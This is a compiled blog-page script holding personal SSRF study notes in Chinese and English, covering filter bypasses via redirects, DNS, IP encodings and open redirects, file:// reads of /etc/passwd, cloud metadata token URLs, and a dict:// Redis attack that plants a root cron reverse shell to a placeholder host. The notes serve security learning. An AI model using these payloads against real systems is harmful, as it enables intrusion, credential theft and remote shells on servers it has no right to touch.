https://1dayluo.github.io/assets/shen-ru-qian-chu-ssrf-wo-de-xue-xi-bi-ji-D6P_9FVW.js

1import{_ as d}from"./ValaxyMain.vue_vue_type_script_setup_true_lang-BtF6SIE9.js";import{b as u,e as p,w as l,f as m,a as _,p as r,r as i,g as e,h as t}from"./app-kqUif9qg.js";const g=e("h1",{id:"ssrf-server-side-request-forgery",tabindex:"-1"},[t("SSRF(Server-Side Request Forgery) "),e("a",{class:"header-anchor",href:"#ssrf-server-side-request-forgery","aria-label":'Permalink to "SSRF(Server-Side Request Forgery)"'},"​")],-1),f=e("aside",null," 💡 Make sure the request comes from the remote server and not your personal IP address ",-1),b=e("h2",{id:"what-is-ssrf",tabindex:"-1"},[t("What is SSRF? "),e("a",{class:"header-anchor",href:"#what-is-ssrf","aria-label":'Permalink to "What is SSRF?"'},"​")],-1),k=e("p",null,"诱导服务端应用程序去访问由攻击者控制的任意地址,攻击者能滥用该功能在服务器上去读取或更新内部资源.",-1),v=e("p",null,"(request的行为是由服务端发起的)",-1),y=e("ul",null,[e("li",null,"Blind SSRF - Allows to scan for accessible hosts and ports"),e("li",null,"Full Response - Allows you to see the entire resposne from the server"),e("li",null,"Limited or Response - Shows a portion of the response like the title of the page or No Response or you have access to resources but can’t see them directly")],-1),w=e("h3",{id:"blind-ssrf",tabindex:"-1"},[t("Blind SSRF "),e("a",{class:"header-anchor",href:"#blind-ssrf","aria-label":'Permalink to "Blind SSRF"'},"​")],-1),S=e("ul",null,[e("li",null,[e("p",null,"使用SSRF测试开放端口"),e("ul",null,[e("li",null,"根据返回时间判断端口是否开放")])])],-1),F=e("p",null,"还可以使用：",-1),x=e("ul",null,[e("li",null,"Javascript"),e("li",null,"exfil data")],-1),P=e("h3",{id:"full-response",tabindex:"-1"},[t("Full Response "),e("a",{class:"header-anchor",href:"#full-response","aria-label":'Permalink to "Full Response"'},"​")],-1),R=e("p",null,"不受限制，直接从response中获取到信息",-1),E=e("h3",{id:"limited-response",tabindex:"-1"},[t("Limited Response "),e("a",{class:"header-anchor",href:"#limited-response","aria-label":'Permalink to "Limited Response"'},"​")],-1),T=e("p",null,"需要进行分析",-1),q=e("h2",{id:"disclose-information",tabindex:"-1"},[t("Disclose information "),e("a",{class:"header-anchor",href:"#disclose-information","aria-label":'Permalink to "Disclose information"'},"​")],-1),A=e("ol",null,[e("li",null,"端口")],-1),C=e("ul",null,[e("li",null,[t("测试端口参考（可以测这些） "),e("ul",null,[e("li",null,"21, (FTP)"),e("li",null,"22, (SSH)"),e("li",null,"80, (Web)"),e("li",null,"443, (SSL Web)"),e("li",null,"8080, (Proxy)")])])],-1),I=e("ol",{start:"2"},[e("li",null,"允许的协议：")],-1),B=e("ul",null,[e("li",null,"gopher:// (File Distribution)"),e("li",null,"dict:// ( dictionary network protocol)"),e("li",null,"ftp:// (File Transfer Protocol)"),e("li",null,"File:// (File URI Scheme)"),e("li",null,"ldap:// ( Lightweight Directory Access Protocol*)*")],-1),D=e("ol",{start:"3"},[e("li",null,"真实ip地址：")],-1),L=e("ul",null,[e("li",null,"通过response的头部或其他输出")],-1),M=e("ol",{start:"4"},[e("li",null,"其他信息泄漏方式（收集中）")],-1),U=e("ul",null,[e("li",null,[t("use incomplete HTTP protocol （ "),e("a",{href:"https://infosecwriteups.com/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a",target:"_blank",rel:"noreferrer"},"https://infosecwriteups.com/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a"),t(" ） "),e("ul",null,[e("li",null,[e("a",{href:"https://infosecwriteups.com/%5B::%5D.",target:"_blank",rel:"noreferrer"},"http://[::]")]),e("li",null,"http://")])])],-1),W=e("h2",{id:"make-sure-request-comes-from-the-remote-server",tabindex:"-1"},[t("Make sure request comes from the remote server "),e("a",{class:"header-anchor",href:"#make-sure-request-comes-from-the-remote-server","aria-label":'Permalink to "Make sure request comes from the remote server"'},"​")],-1),$=e("h3",{id:"使用nc",tabindex:"-1"},[t("使用nc "),e("a",{class:"header-anchor",href:"#使用nc","aria-label":'Permalink to "使用nc"'},"​")],-1),H=e("p",null,"如果监听到的ip地址非本地,证明请求是从本地浏览器发起的",-1),G=e("p",null,"命令:",-1),j=e("div",{class:"language-jsx vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"jsx"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}},"nc "),e("span",{style:{"--shiki-dark":"#89DDFF","--shiki-light":"#39ADB5"}},"-"),e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}},"lvp "),e("span",{style:{"--shiki-dark":"#F78C6C","--shiki-light":"#F76D47"}},"8000")])])]),e("button",{class:"collapse"})],-1),N=e("h3",{id:"使用burpsuite",tabindex:"-1"},[t("使用Burpsuite "),e("a",{class:"header-anchor",href:"#使用burpsuite","aria-label":'Permalink to "使用Burpsuite"'},"​")],-1),z=e("aside",null," 💡 在blind ssrf下也可以使用burp ",-1),J=e("p",null,"Step 1:使用burp下”burp collaborator client”,然后将地址复制到ssrf位置",-1),O=e("p",null,"Step 2: 查看collaborator client 下的history 是否是本地ip地址",-1),X=e("h2",{id:"bypass-blacklist",tabindex:"-1"},[t("Bypass Blacklist "),e("a",{class:"header-anchor",href:"#bypass-blacklist","aria-label":'Permalink to "Bypass Blacklist"'},"​")],-1),Q=e("h3",{id:"fooling-it-with-redirects",tabindex:"-1"},[t("Fooling it with redirects "),e("a",{class:"header-anchor",href:"#fooling-it-with-redirects","aria-label":'Permalink to "Fooling it with redirects"'},"​")],-1),V=e("p",null,"For example, you can host a file with the following content on your web server:",-1),Z=e("div",{class:"language-html vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"html"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}},'<?php header(“location: http://127.0.0.1"); ?>')])])]),e("button",{class:"collapse"})],-1),Y=e("p",null,[t("Let’s say this file is hosted at "),e("em",null,"http:"),t("//"),e("em",null,"attacker.com/redirect.php"),t(" . This way, when you make the target server request "),e("em",null,"http:"),t("//"),e("em",null,"attacker.com/redirect.php"),t(", the target server is actually redirected to "),e("a",{href:"http://127.0.0.1",target:"_blank",rel:"noreferrer"},"http://127.0.0.1"),t(", a restricted internal address.")],-1),K=e("p",null,"备注：",-1),ee=e("ul",null,[e("li",null,[t("即使没有办法bypass，也可以尝试测信道攻击，看response的头部是否包含内部的ip地址，例如 "),e("code",null,"X-Forwarded-For")])],-1),te=e("h3",{id:"tricking-it-with-dns",tabindex:"-1"},[t("Tricking it with DNS "),e("a",{class:"header-anchor",href:"#tricking-it-with-dns","aria-label":'Permalink to "Tricking it with DNS"'},"​")],-1),le=e("p",null,"Modify the A/AAAA record of a domain you control and make it point to internal addresses of the victim’s network.",-1),se=e("p",null,"网站:",-1),ie=e("ul",null,[e("li",null,[e("a",{href:"http://xip.io",target:"_blank",rel:"noreferrer"},"xip.io"),t(" (好像不能用了)")]),e("li",null,[e("a",{href:"https://nip.io/",target:"_blank",rel:"noreferrer"},"https://nip.io/")]),e("li",null,[e("a",{href:"https://sslip.io/",target:"_blank",rel:"noreferrer"}

1,"https://sslip.io/"),t(" (受xip.io的 启发)")]),e("li",null,[e("a",{href:"https://v2ex.com/t/863767",target:"_blank",rel:"noreferrer"},"https://v2ex.com/t/863767"),t(" v2ex上有人的帖子,CNAME指向了本地")])],-1),ne=e("h3",{id:"using-ipv6-addresses",tabindex:"-1"},[t("Using IPv6 addresses "),e("a",{class:"header-anchor",href:"#using-ipv6-addresses","aria-label":'Permalink to "Using IPv6 addresses"'},"​")],-1),oe=e("p",null,"Try using IPv6 addresses instead of IPv4. The protection mechanisms implemented for IPv4 might not have been implemented for IPv6.",-1),ae=e("h3",{id:"switching-out-the-encoding",tabindex:"-1"},[t("Switching out the encoding "),e("a",{class:"header-anchor",href:"#switching-out-the-encoding","aria-label":'Permalink to "Switching out the encoding"'},"​")],-1),re=e("p",null,"There are many different ways of encoding a URL or an address that doesn’t change how a server interprets its location, but might let it slip under the radar of a blacklist. These include hex encoding, octal encoding, dword encoding, URL encoding, and mixed encoding.",-1),ce=e("ul",null,[e("li",null,"Hex Encoding")],-1),he=e("p",null,"Turns out that servers out there can understand IP addresses when they are hex encoded.Here’s an example:",-1),de=e("div",{class:"language-html vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"html"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}},"127.0.0.1 translates to 0x7f.0x0.0x0.0x1")])])]),e("button",{class:"collapse"})],-1),ue=e("p",null,[e("strong",null,"The “0x” at the beginning of each section designates it as a hex number.")],-1),pe=e("p",null,"• Octal Encoding",-1),me=e("p",null,"Octal encoding is a way of representing characters in the base 8 format.For example,",-1),_e=e("div",{class:"language-html vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"html"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}},"127.0.0.1 translates to 0177.0.0.01")])])]),e("button",{class:"collapse"})],-1),ge=e("p",null,"In this case, the leading zeros are necessary to convey that that section is an octal number.",-1),fe=e("p",null,"• Dword Encoding",-1),be=e("p",null,"“Dword” stands for “double word”, which is a 32-bit integer.An IP address is basically a 32-bit number,split into four octets (groups of eight bits),and written in the decimal format(groups of eight bits).",-1),ke=e("p",null,"how to get dword format IP address",-1),ve=e("p",null,"For example, 127.0.0.1 is actually the decimal representation of 01111111.00000000.00000000.00000001… And when we translate the entire number(01111111000000000000000000000001) into one single decimal number, we get the IP address in dword format!",-1),ye=e("p",null,[t("So what is 127.0.0.1 in dword? It’s the answer for 127"),e("em",null,"256³+0"),t("256²+0"),e("em",null,"256¹+1"),t("256⁰, which is 2130706433,Meaning that if you type in "),e("a",{href:"http://127.0.0.1/",target:"_blank",rel:"noreferrer"},"http://2130706433"),t(" instead of "),e("a",{href:"http://127.0.0.1/",target:"_blank",rel:"noreferrer"},"http://127.0.0.1"),t(", it would still be understood! Pretty cool right?")],-1),we=e("ul",null,[e("li",null,"URL Encoding")],-1),Se=e("p",null,"For example, the word “localhost” can be represented with its URL encoded equivalent, “%6c%6f%63%61%6c%68%6f%73%74”.So when a server is blocking requests to internal hostnames such as “localhost”, try it’s URL encoded equivalent!",-1),Fe=e("ul",null,[e("li",null,"Mixed Encoding")],-1),xe=e("p",null,"It’s mix-and-match time!You could also use a combination of encoding techniques to try to fool the server: maybe this would work?",-1),Pe=e("div",{class:"language-html vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"html"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",{style:{"--shiki-dark":"#EEFFFF","--shiki-light":"#90A4AE"}}

1,"127.0.0.1 translates to 0177.0.0.0x1")])])]),e("button",{class:"collapse"})],-1),Re=e("p",null,[t("更多可以看这里: "),e("a",{href:"https://h.43z.one/ipconverter/",target:"_blank",rel:"noreferrer"},"https://h.43z.one/ipconverter/")],-1),Ee=e("h2",{id:"bypass-whitelists",tabindex:"-1"},[t("Bypass Whitelists "),e("a",{class:"header-anchor",href:"#bypass-whitelists","aria-label":'Permalink to "Bypass Whitelists"'},"​")],-1),Te=e("p",null,"Whitelists are generally harder to bypass because they are by default, stricter than blacklists.",-1),qe=e("h3",{id:"open-redirect",tabindex:"-1"},[t("open redirect "),e("a",{class:"header-anchor",href:"#open-redirect","aria-label":'Permalink to "open redirect"'},"​")],-1),Ae=e("p",null,"But it is possible if there is an open redirect vulnerability within the whitelisted domains.If you could find an open redirect, you can request a whitelisted URL that redirects to an internal URL.",-1),Ce=e("h3",{id:"not-correctly-implemented",tabindex:"-1"},[t("not correctly implemented "),e("a",{class:"header-anchor",href:"#not-correctly-implemented","aria-label":'Permalink to "not correctly implemented"'},"​")],-1),Ie=e("p",null,"eg. via poorly designed regex",-1),Be=e("p",null,[t("it could also be bypassed by using making a subdomain or directory as the whitelisted domain name (eg. "),e("em",null,"victim.com.attacker.com"),t("  or "),e("em",null,"attacker.com/victim.com"),t(" ).")],-1),De=e("h2",{id:"协议的使用",tabindex:"-1"},[t("协议的使用 "),e("a",{class:"header-anchor",href:"#协议的使用","aria-label":'Permalink to "协议的使用"'},"​")],-1),Le=e("aside",null," 💡 注意：一些情况下。从 BP 里面抓包请求的话，空格得写成`%2520` ，即两次 URL 编码才可以顺利执行 ",-1),Me=e("ul",null,[e("li",null,"gopher:// (File Distribution)"),e("li",null,"dict:// ( dictionary network protocol)"),e("li",null,"ftp:// (File Transfer Protocol)"),e("li",null,"File:// (File URI Scheme)"),e("li",null,"ldap:// ( Lightweight Directory Access Protocol*)*")],-1),Ue=e("p",null,"如果是基于错误的ssrf，可以先根据response判断支持哪些协议",-1),We=e("h3",{id:"file协议下",tabindex:"-1"},[t("file协议下： "),e("a",{class:"header-anchor",href:"#file协议下","aria-label":'Permalink to "file协议下："'},"​")],-1),$e=e("ul",null,[e("li",null,[e("code",null,"file:///etc/passwd")]),e("li",null,[e("code",null,"file:///etc/hosts"),t(" : 获取本机内网ip地址信息，从而确认当前资产网段信息")]),e("li",null,[e("code",null,"[file://proc/net/arp](file://proc/net/arp)"),t(" or "),e("code",null,"[file://etc/network/interfaces](file://etc/network/interfaces)"),t(" ：当前机子网络情况")])],-1),He=e("h3",{id:"dict协议",tabindex:"-1"},[t("DICT协议 "),e("a",{class:"header-anchor",href:"#dict协议","aria-label":'Permalink to "DICT协议"'},"​")],-1),Ge=e("p",null,[e("strong",null,"dict协议是什么?")],-1),je=e("p",null,[e("a",{href:"https://blog.51cto.com/u_15127673/4130760",target:"_blank",rel:"noreferrer"},"https://blog.51cto.com/u_15127673/4130760")],-1),Ne=e("p",null,[e("strong",null,"dict协议可以用来做什么?")],-1),ze=e("ul",null,[e("li",null,"探测端口开放服务"),e("li",null,"攻击未授权的Redis服务")],-1),Je=e("p",null,[e("strong",null,"探测端口开放服务")],-1),Oe=e("p",null,"使用ssrf配合DICT协议探测内网端口开放情况:",-1),Xe=e("p",null,"也可使用http协议",-1),Qe=e("p",null,[e("strong",null,"使用dict协议构造反弹shell - redis")],-1),Ve=e("p",null,[e("a",{href:"https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-2",target:"_blank",rel:"noreferrer"},"https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-2")],-1),Ze=e("div",{class:"language-txt vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"txt"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",null,"# 清空 key")]),t(`
2`),e("span",{class:"line"},[e("span",null,"dict://172.72.23.27:6379/flushall")]),t(`
3`),e("span",{class:"line"},[e("span")]),t(`
4`),e("span",{class:"line"},[e("span",null,"# 设置要操作的路径为定时任务目录")]),t(`
5`),e("span",{class:"line"},[e("span",null,"dict://172.72.23.27:6379/config set dir /var/spool/cron/")]),t(`
6`),e("span",{class:"line"},[e("span")]),t(`
7`),e("span",{class:"line"},[e("span",null,"# 在定时任务目录下创建 root 的定时任务文件")]),t(`
8`),e("span",{class:"line"},[e("span",null,"dict://172.72.23.27:6379/config set dbfilename root")

8]),t(`
9`),e("span",{class:"line"},[e("span")]),t(`
10`),e("span",{class:"line"},[e("span",null,"# 写入 Bash 反弹 shell 的 payload")]),t(`
11`),e("span",{class:"line"},[e("span",null,'dict://172.72.23.27:6379/set x "\\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\\n"')]),t(`
12`),e("span",{class:"line"},[e("span")]),t(`
13`),e("span",{class:"line"},[e("span",null,"# 保存上述操作")]),t(`
14`),e("span",{class:"line"},[e("span",null,"dict://172.72.23.27:6379/save")])])]),e("button",{class:"collapse"})],-1),Ye=e("h3",{id:"gopher协议",tabindex:"-1"},[t("Gopher协议 "),e("a",{class:"header-anchor",href:"#gopher协议","aria-label":'Permalink to "Gopher协议"'},"​")],-1),Ke=e("p",null,[e("strong",null,"为什么要用到gopher协议")],-1),et=e("p",null,"![Untitled](file:///tmp/Export-123bd238-d0e8-4c85-84f8-40e1fbe1d23a/SSRF(Server-Side%20Request%20Forgery)%208896444a46f64714b2a3d272739d77b6/Untitled%205.png?msec=1669820820598)",-1),tt=e("p",null,"这里是用到gopher协议传递HTTP的POST请求(SSRF漏洞无法直接发起POST请求)",-1),lt=e("p",null,[e("strong",null,"构造请求包")],-1),st=e("p",null,"step1: 抓取请求包",-1),it=e("p",null,"step2: 删除HTTP请求的",-1),nt=e("div",{class:"language-txt vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"},"txt"),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",null,"Accept-Encoding: gzip, deflate")])])]),e("button",{class:"collapse"})],-1),ot=e("p",null,"step3: url两次编码整个post请求",-1),at=e("figure",null,[e("img",{src:"https://raw.githubusercontent.com/1dayluo/PicGo4Blog/main/2022_11/Untitled%206.png",alt:"Untitled",loading:"lazy",decoding:"async"})],-1),rt=e("p",null,"step4: 将编码后的请求作为TCP数据流传入gopher请求中:",-1),ct=e("div",{class:"language- vp-adaptive-theme"},[e("button",{title:"Copy Code",class:"copy"}),e("span",{class:"lang"}),e("pre",{class:"shiki shiki-themes material-theme-darker material-theme-lighter vp-code"},[e("code",{"v-pre":""},[e("span",{class:"line"},[e("span",null,"url=gopher://172.72.23.24:80/<两次url编码的TCP数据流>")])])]),e("button",{class:"collapse"})],-1),ht=e("p",null,"step5: 成功执行命令",-1),dt=e("p",null,"场景:",-1),ut=e("ul",null,[e("li",null,"考虑file协议结合XXE外部实体注入,实现ssrf"),e("li",null,"ssrf 升级为RCE(通过mysql)")],-1),pt=e("h2",{id:"proof",tabindex:"-1"},[t("Proof "),e("a",{class:"header-anchor",href:"#proof","aria-label":'Permalink to "Proof"'},"​")],-1),mt=e("p",null,"特征可参考: 各种云服务器/中间件 [ 个人notion笔记 我blog没有更嘻嘻]",-1),_t=e("h3",{id:"aws",tabindex:"-1"},[t("AWS "),e("a",{class:"header-anchor",href:"#aws","aria-label":'Permalink to "AWS"'},"​")],-1),gt=e("ul",null,[e("li",null,"http://{your-ip}/metadata/v1"),e("li",null,"http://{your-ip}/latest/metadata")],-1),ft=e("h3",{id:"google-gcp",tabindex:"-1"},[t("Google GCP "),e("a",{class:"header-anchor",href:"#google-gcp","aria-label":'Permalink to "Google GCP"'},"​")],-1),bt=e("ul",null,[e("li",null,[e("a",{href:"http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token",target:"_blank",rel:"noreferrer"},"http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token")])],-1),kt=e("h2",{id:"escalate-to-rce",tabindex:"-1"},[t("escalate to RCE "),e("a",{class:"header-anchor",href:"#escalate-to-rce","aria-label":'Permalink to "escalate to RCE"'},"​")],-1),vt=e("h3",{id:"aws-1",tabindex:"-1"},[t("AWS "),e("a",{class:"header-anchor",href:"#aws-1","aria-label":'Permalink to "AWS"'},"​")],-1),yt=e("p",null,"参考AWS下的 ,写的很详细。貌似从我个人笔记搬运到blog里了，可以参考那一篇=-=",-1),wt=e("h3",{id:"mysql",tabindex:"-1"},[t("MySQL "),e("a",{class:"header-anchor",href:"#mysql","aria-label":'Permalink to "MySQL"'},"​")],-1),St=e("p",null,"不想搬运。。。也是notion笔记有写。blog改排版，累。",-1),Ft=e("h2",{id:"出现的地方总结",tabindex:"-1"},[t("出现的地方总结 "),e("a",{class:"header-anchor",href:"#出现的地方总结","aria-label":'Permalink to "出现的地方总结"'},"​")],-1),xt=e("ul",null,[e("li",null,[t("url里用base64编码（"),e("a",{href:"https://blog.neolex.dev/13/",target:"_blank",rel:"noreferrer"},"例子"),t("）")]),e("li",null,"Any customization that involves HTML/CSS (Font name, colors, styling)"),e("li",null,"pushed to the PDF( PDF+XSS ==SSRF)")],-1),Pt=e("h2",{id:"reference",tabindex:"-1"},[t("Reference "),e("a",{class:"header-anchor",href:"#reference","aria-label":'Permalink to "Reference"'},"​")],-1),Rt=e("p",null,"Udemy",-1),Et=e("ul",null,[e("li",null,[e("a",{href:"https://www.udemy.com/course/intro-to-bug-bounty-by-nahamsec/learn/lecture/24998004#overview",target:"_blank",rel:"noreferrer"},"https://www.udemy.com/course/intro-to-bug-bounty-by-nahamsec/learn/lecture/24998004#overview")])],-1),Tt=e("p",null,"Medium",-1),qt=e("ul",null,[e("li",null,[e("a",{href:"https://vickieli.medium.com/bypassing-ssrf-protection-e111ae70727b",target:"_blank",rel:"noreferrer"},"https://vickieli.medium.com/bypassing-ssrf-protection-e111ae70727b")]),e("li",null,[e("a",{href:"https://infosecwriteups.com/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a",target:"_blank",rel:"noreferrer"},"https://infosecwriteups.com/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a")])],-1),At=e("p",null,"PPT",-1),Ct=e("ul",null,[e("li",null,[t("Google doc "),e("ul",null,[e("li",null,[e("a",{href:"https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/htmlpresent",target:"_blank",rel:"noreferrer"},"https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/htmlpresent")])])])],-1),Ut={__name:"shen-ru-qian-chu-ssrf-wo-de-xue-xi-bi-ji",setup(It,{expose:c}){const n=JSON.parse('{"title":"深入浅出SSRF（一） ： 我的学习笔è

14®°","description":"","frontmatter":{"title":"深入浅出SSRF（一） ： 我的学习笔记","date":"2022-11-30T23:17:15.000Z","tags":["SSRF","笔记"],"published":true,"hideInList":false,"feature":null,"isTop":false},"headers":[{"level":2,"title":"What is SSRF?","slug":"what-is-ssrf","link":"#what-is-ssrf","children":[{"level":3,"title":"Blind SSRF","slug":"blind-ssrf","link":"#blind-ssrf","children":[]},{"level":3,"title":"Full Response","slug":"full-response","link":"#full-response","children":[]},{"level":3,"title":"Limited Response","slug":"limited-response","link":"#limited-response","children":[]}]},{"level":2,"title":"Disclose information","slug":"disclose-information","link":"#disclose-information","children":[]},{"level":2,"title":"Make sure request comes from the remote server","slug":"make-sure-request-comes-from-the-remote-server","link":"#make-sure-request-comes-from-the-remote-server","children":[{"level":3,"title":"使用nc","slug":"使用nc","link":"#使用nc","children":[]},{"level":3,"title":"使用Burpsuite","slug":"使用burpsuite","link":"#使用burpsuite","children":[]}]},{"level":2,"title":"Bypass Blacklist","slug":"bypass-blacklist","link":"#bypass-blacklist","children":[{"level":3,"title":"Fooling it with redirects","slug":"fooling-it-with-redirects","link":"#fooling-it-with-redirects","children":[]},{"level":3,"title":"Tricking it with DNS","slug":"tricking-it-with-dns","link":"#tricking-it-with-dns","children":[]},{"level":3,"title":"Using IPv6 addresses","slug":"using-ipv6-addresses","link":"#using-ipv6-addresses","children":[]},{"level":3,"title":"Switching out the encoding","slug":"switching-out-the-encoding","link":"#switching-out-the-encoding","children":[]}]},{"level":2,"title":"Bypass Whitelists","slug":"bypass-whitelists","link":"#bypass-whitelists","children":[{"level":3,"title":"open redirect","slug":"open-redirect","link":"#open-redirect","children":[]},{"level":3,"title":"not correctly implemented","slug":"not-correctly-implemented","link":"#not-correctly-implemented","children":[]}]},{"level":2,"title":"协议的使用","slug":"协议的使用","link":"#协议的使用","children":[{"level":3,"title":"file协议下：","slug":"file协议下","link":"#file协议下","children":[]},{"level":3,"title":"DICT协议","slug":"dict协议","link":"#dict协议","children":[]},{"level":3,"title":"Gopher协议","slug":"gopher协议","link":"#gopher协议","children":[]}]},{"level":2,"title":"Proof","slug":"proof","link":"#proof","children":[{"level":3,"title":"AWS","slug":"aws","link":"#aws","children":[]},{"level":3,"title":"Google GCP","slug":"google-gcp","link":"#google-gcp","children":[]}]},{"level":2,"title":"escalate to RCE","slug":"escalate-to-rce","link":"#escalate-to-rce","children":[{"level":3,"title":"AWS","slug":"aws-1","link":"#aws-1","children":[]},{"level":3,"title":"MySQL","slug":"mysql","link":"#mysql","children":[]}]},{"level":2,"title":"出现的地方总结","slug":"出现的地方总结","link":"#出现的地方总结","children":[]},{"level":2,"title":"Reference","slug":"reference","link":"#reference","children":[]}],"relativePath":"pages/posts/history/shen-ru-qian-chu-ssrf-wo-de-xue-xi-bi-ji.md","path":"/home/runner/work/1dayluo.github.io/1dayluo.github.io/pages/posts/history/shen-ru-qian-chu-ssrf-wo-de-xue-xi-bi-ji.md","lastUpdated":1781453302000}'),a=_(),o=n.frontmatter||{};return a.meta.frontmatter=Object.assign(a.meta.frontmatter||{},n.frontmatter||{}),r("pageData",n),r("valaxy:frontmatter",o),globalThis.$frontmatter=o,c({frontmatter:{title:"深入浅出SSRF（一） ： 我的学习笔记",date:"2022-11-30T23:17:15.000Z",tags:["SSRF","笔记"],published:!0,hideInList:!1,feature:null,isTop:!1}}),(s,Dt)=>{const h=d;return u(),p(h,{frontmatter:m(o)},{"main-content-md":l(()=>[g,f,b,k,v,y,w,S,F,x,P,R,E,T,q,A,C,I,B,D,L,M,U,W,$,H,G,j,N,z,J,O,X,Q,V,Z,Y,K,ee,te,le,se,ie,ne,oe,ae,re,ce,he,de,ue,pe,me,_e,ge,fe,be,ke,ve,ye,we,Se,Fe,xe,Pe,Re,Ee,Te,qe,Ae,Ce,Ie,Be,De,Le,Me,Ue,We,$e,He,Ge,je,Ne,ze,Je,Oe,Xe,Qe,Ve,Ze,Ye,Ke,et,tt,lt,st,it,nt,ot,at,rt,ct,ht,dt,ut,pt,mt,_t,gt,ft,bt,kt,vt,yt,wt,St,Ft,xt,Pt,Rt,Et,Tt,qt,At,Ct]),"main-header":l(()=>[i(s.$slots,"main-header")]),"main-header-after":l(()=>[i(s.$slots,"main-header-after")]),"main-nav":l(()=>[i(s.$slots,"main-nav")]),"main-content":l(()=>[i(s.$slots,"main-content")]),"main-content-after":l(()=>[i(s.$slots,"main-content-after")]),"main-nav-before":l(()=>[i(s.$slots,"main-nav-before")]),"main-nav-after":l(()=>[i(s.$slots,"main-nav-after")]),comment:l(()=>[i(s.$slots,"comment")]),footer:l(()=>[i(s.$slots,"footer")]),aside:l(()=>[i(s.$slots,"aside")]),"aside-custom":l(()=>[i(s.$slots,"aside-custom")]),default:l(()=>[i(s.$slots,"default")]),_:3},8,["frontmatter"])}}};export{Ut as default};